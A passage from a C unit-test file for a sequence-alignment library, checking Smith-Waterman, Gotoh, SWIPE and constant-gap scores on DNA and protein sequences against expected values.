size_t len1 = sizeof(seq1) / sizeof(seq1[0]);
char seq2[] = { 1 , 3 , 1 , 5, 5, 6 };
size_t len2 = sizeof(seq2) / sizeof(seq2[0]);
sequence_t sseq1 = { 1, (char *)seq1, len1 };
sequence_t sseq2 = { 2, (char *)seq2, len2 };
search_swag_profile_t sp = { 0, -1, NULL };
double score = sw_affine_gap(&sp, &sseq1, &sseq2);
ck_assert_int_eq((int)score, 3); /* Max score */
}END_TEST
START_TEST(test_sw_affine_double_encoded_vtable)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "CCC" };
size_t len1 = strlen(seq1);
char seq2[] = { "ACACCTT" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, -1, (!status) ? (NULL) : (&mtx) };
double score = sw_affine_gap(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 5); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_affine_double_encoded_vtable_195)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
// char seq1[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCACGCCGCACTACTATGACCCAACGTAGGAAGTTGG" };
char seq1[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCACGCCGCACTACTATGACCCAACGTAGGAAGTTGG" };
size_t len1 = strlen(seq1);
char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
double score = sw_affine_gap(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 195); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_affine_double_encoded_vtable_195swipe)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
// char seq1[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCACGCCGCACTACTATGACCCAACGTAGGAAGTTGG" };
char seq1[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCACGCCGCACTACTATGACCCAACGTAGGAAGTTGG" };
size_t len1 = strlen(seq1);
char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
region_t score = sw_alignment_swipe(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score.fdscore, 195); /* Max forward score */
ck_assert_int_eq((int)score.bdscore, 195); /* Max backward score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_affine_double_encoded_vtable_195gencore)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
// char seq1[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCACGCCGCACTACTATGACCCAACGTAGGAAGTTGG" };
char seq1[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCACGCCGCACTACTATGACCCAACGTAGGAAGTTGG" };
size_t len1 = strlen(seq1);
char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
// 0x01c79c10 "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG"
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
double score = sw_gencore(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 195); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_affine_double_encoded_vtable_88)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, identity_nuc, strlen(identity_nuc));
char seq1[] = { "TCGTACGCTGCAACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len1 = strlen(seq1);
char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -11, -1, (!status) ? (NULL) : (&mtx) };
double score = sw_affine_gap(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 88); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_affine_double_encoded_vtable_87swipe)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, identity_nuc, strlen(identity_nuc));
char seq1[] = { "TCGTACGCTGCAACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len1 = strlen(seq1);
char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -11, -1, (!status) ? (NULL) : (&mtx) };
region_t score = sw_alignment_swipe(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score.fdscore, 87); /* Max forward score */
ck_assert_int_eq((int)score.bdscore, 87); /* Max backward score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_affine_double_encoded_vtable_88gencore)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, identity_nuc, strlen(identity_nuc));
char seq1[] = { "TCGTACGCTGCAACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len1 = strlen(seq1);
char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -11, -1, (!status) ? (NULL) : (&mtx) };
double score = sw_gencore(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 88); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
//0x040fa27c "CAACTTCCTACGTTGGGTCATAGTAGTGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" //_261
START_TEST(test_sw_gaptest1_261_88gencore)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
//0x040fa27c "CAACTTCCTACGTTGGGTCATAGTAGTGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" //_261
char seq1[] = { "CAACTTCCTACGTTGGGTCATAGTAGTGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
// char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
// 0x01c79c10 "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG"
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
double score = sw_gencore(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 88);
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
score = sw_gencore(&sp, &reverse1, &enseq2);
ck_assert_int_eq((int)score, 193);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_gaptest1_261_89gotoh)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
//_261
//0x040fa27c "CAACTTCCTACGTTGGGTCATAGTAGTGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA"
char seq1[] = { "CAACTTCCTACGTTGGGTCATAGTAGTGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
// char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
// 0x01c79c10 "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG"
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
double score = sw_affine_gap(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 89);
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
score = sw_affine_gap(&sp, &reverse1, &enseq2);
ck_assert_int_eq((int)score, 193);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_gaptest1_261_90swipe)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
//_261
//0x040fa27c "CAACTTCCTACGTTGGGTCATAGTAGTGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA"
char seq1[] = { "CAACTTCCTACGTTGGGTCATAGTAGTGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
// char seq2[] = { "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
// 0x01c79c10 "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG"
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
region_t score = sw_alignment_swipe(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score.fdscore, 89); /* Max forward score */
ck_assert_int_eq((int)score.bdscore, 90); /* Max backward score */ // 89??
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
score = sw_alignment_swipe(&sp, &reverse1, &enseq2);
ck_assert_int_eq((int)score.fdscore, 193); /* Max forward score */
ck_assert_int_eq((int)score.bdscore, 193); /* Max backward score */
free_scoring_matrix(&mtx);
}END_TEST
// 0x04c9ef2c "CTTCCTACGTTGGGTCATAGTAGTGCGGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" //290
START_TEST(test_sw_gaptest1_290_90_194gencore)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "CTTCCTACGTTGGGTCATAGTAGTGCGGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
double score = sw_gencore(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 90);
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
score = sw_gencore(&sp, &reverse1, &enseq2);
ck_assert_int_eq((int)score, 194);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_gaptest1_290_90_194gotoh)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "CTTCCTACGTTGGGTCATAGTAGTGCGGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
double score = sw_affine_gap(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 90);
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
score = sw_affine_gap(&sp, &reverse1, &enseq2);
ck_assert_int_eq((int)score, 194);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_gaptest1_290_91_194swipe)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "CTTCCTACGTTGGGTCATAGTAGTGCGGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
//char seq2[]={ "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
region_t score = sw_alignment_swipe(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score.fdscore, 90); /* Max forward score */ // ok
ck_assert_int_eq((int)score.bdscore, 91); /* Max backward score */ // should it be equil to 90 ??
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
score = sw_alignment_swipe(&sp, &reverse1, &enseq2);
ck_assert_int_eq((int)score.fdscore, 194); /* Max forward score */
ck_assert_int_eq((int)score.bdscore, 194); /* Max backward score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_gaptest1_290_89_193swdirection)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "CTTCCTACGTTGGGTCATAGTAGTGCGGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
//char seq2[]={ "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
score_matrix_t sd = sw_directions(&sp, &enseq1, &enseq2);
element_t score = find_max(&sd.score);
ck_assert_int_eq((int)score.d, 89); /* Max score */ // ok
free_matrix(&sd.score);
free_matrix(&sd.directions);
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
sd = sw_directions(&sp, &reverse1, &enseq2);
score = find_max(&sd.score);
ck_assert_int_eq((int)score.d, 193); /* Max score */
free_matrix(&sd.score);
free_matrix(&sd.directions);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_gaptest1_290_76_194constant)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "CTTCCTACGTTGGGTCATAGTAGTGCGGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
//char seq2[]={ "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swcg_profile_t sp = { -1, (!status) ? (NULL) : (&mtx) };
double score = sw_constant_gap_double(&sp, &enseq1, &enseq2);
ck_assert_int_eq((int)score, 76); /* Max score */ // 89
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
score = sw_constant_gap_double(&sp, &reverse1, &enseq2);
ck_assert_int_eq((int)score, 194); /* Max score */
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_gaptest1_290_89_193swdirection2)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, gaptest1, strlen(gaptest1));
char seq1[] = { "CTTCCTACGTTGGGTCATAGTAGTGCGGCGTGGGCAATGCCTACGGAGGGGTGGAGCAACTGGCGCTATCACTTCTACCATCGTCTGCAGCGTACGA" };
size_t len1 = strlen(seq1);
char seq2[] = { "tcgtacgctgcagacgatggtagaagtgatagcgccagttgctccacccctccgtaggcattgcccacgccgcactactatgacccaacgtaggaagttg" };
//char seq2[]={ "TCGTACGCTGCAGACGATGGTAGAAGTGATAGCGCCAGTTGCTCCACCCCTCCGTAGGCATTGCCCACGCCGCACTACTATGACCCAACGTAGGAAGTTG" };
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
search_swag_profile_t sp = { -1, 0, (!status) ? (NULL) : (&mtx) };
score_matrix_t sd = sw_directions(&sp, &enseq1, &enseq2);
element_t score = find_max(&sd.score);
ck_assert_int_eq((int)score.d, 89); /* Max score */ // ok
free_matrix(&sd.score);
free_matrix(&sd.directions);
sequence_t reverse1 = { 3, malloc(len1 + 1), len1 };
for (size_t i = 0; i < enseq1.len; i++) {
// computes the reverse complement of the input sequence.
reverse1.seq[i] = cns[(int)(enseq1.seq[enseq1.len - 1 - i])];
}
sd = sw_directions(&sp, &reverse1, &enseq2);
score = find_max(&sd.score);
ck_assert_int_eq((int)score.d, 193); /* Max score */
free_matrix(&sd.score);
free_matrix(&sd.directions);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_ACHA_ELEEL_test)
{
scoring_matrix_t mtx;
int status = read_scoring_matrix(&mtx, blosum62, strlen(blosum62));
// >ACHA_ELEEL P09688 electrophorus electricus (electric eel). acetylcholine receptor protein, alpha chain (fragment). 2/94
char seq1[] = { "SEDETRLVKNLFSGYNKVVRPVNH" };
size_t len1 = strlen(seq1);
// >HSBGL2
char seq2[] = { "ATGTCATACCTCTTATCTCCTCCCACAGCTCCTGGGCAACGTGCTGGTCTGTGTGCTGGCCCATCACTTTGGCAAAGAATTC" };
char any_symbol = 'x';
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
sequence_t any = { 3, malloc(1 + 1), 1 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
lal_seq2encodedseq((sequence_t) { 3, &any_symbol, 1 }, any, lal_encode31);
mtx.scale = 10.0;
search_swag_profile_t sp = { -10.5, -0.5, (!status) ? (NULL) : (&mtx), any.seq[0] };
double score = sw_gencore(&sp, &enseq2, &enseq1);
ck_assert_int_eq((int)score, 7);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_ACHA_ELEEL_test_reverse)
{
scoring_matrix_t mtx;
translate_table_t tt;
int status = read_translate_table(&tt, human40, strlen(human40));
status = read_scoring_matrix(&mtx, blosum62, strlen(blosum62));
// >ACHA_ELEEL P09688 electrophorus electricus (electric eel). acetylcholine receptor protein, alpha chain (fragment). 2/94
char seq1[] = { "SEDETRLVKNLFSGYNKVVRPVNH" };
size_t len1 = strlen(seq1);
// >HSBGL2
char seq2[] = { "ATGTCATACCTCTTATCTCCTCCCACAGCTCCTGGGCAACGTGCTGGTCTGTGTGCTGGCCCATCACTTTGGCAAAGAATTC" };
char any_symbol = 'x';
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
sequence_t inseqrev = { 3, malloc(len2), len2 };
sequence_t enseqrev = { 3, malloc(len2 + 1), len2 };
sequence_t any = { 3, malloc(1 + 1), 1 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq_trans(inseq2, enseq2, lal_na2indx, &tt);
lal_seq2encodedseq((sequence_t) { 3, &any_symbol, 1 }, any, lal_encode31);
mtx.scale = 10.0;
search_swag_profile_t sp = { -10.5, -0.5, (!status) ? (NULL) : (&mtx), any.seq[0] };
double score = sw_gencore(&sp, &enseq2, &enseq1);
ck_assert_int_eq((int)score, 13);
lal_reverse(inseq2.seq, inseq2.len, inseqrev.seq, lal_revers31);
lal_seq2encodedseq_trans(inseqrev, enseqrev, lal_na2indx, &tt);
score = sw_gencore(&sp, &enseqrev, &enseq1);
ck_assert_int_eq((int)score, 19);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_ACHA_ELEEL_test_model_specific_double)
{
scoring_matrix_t mtx;
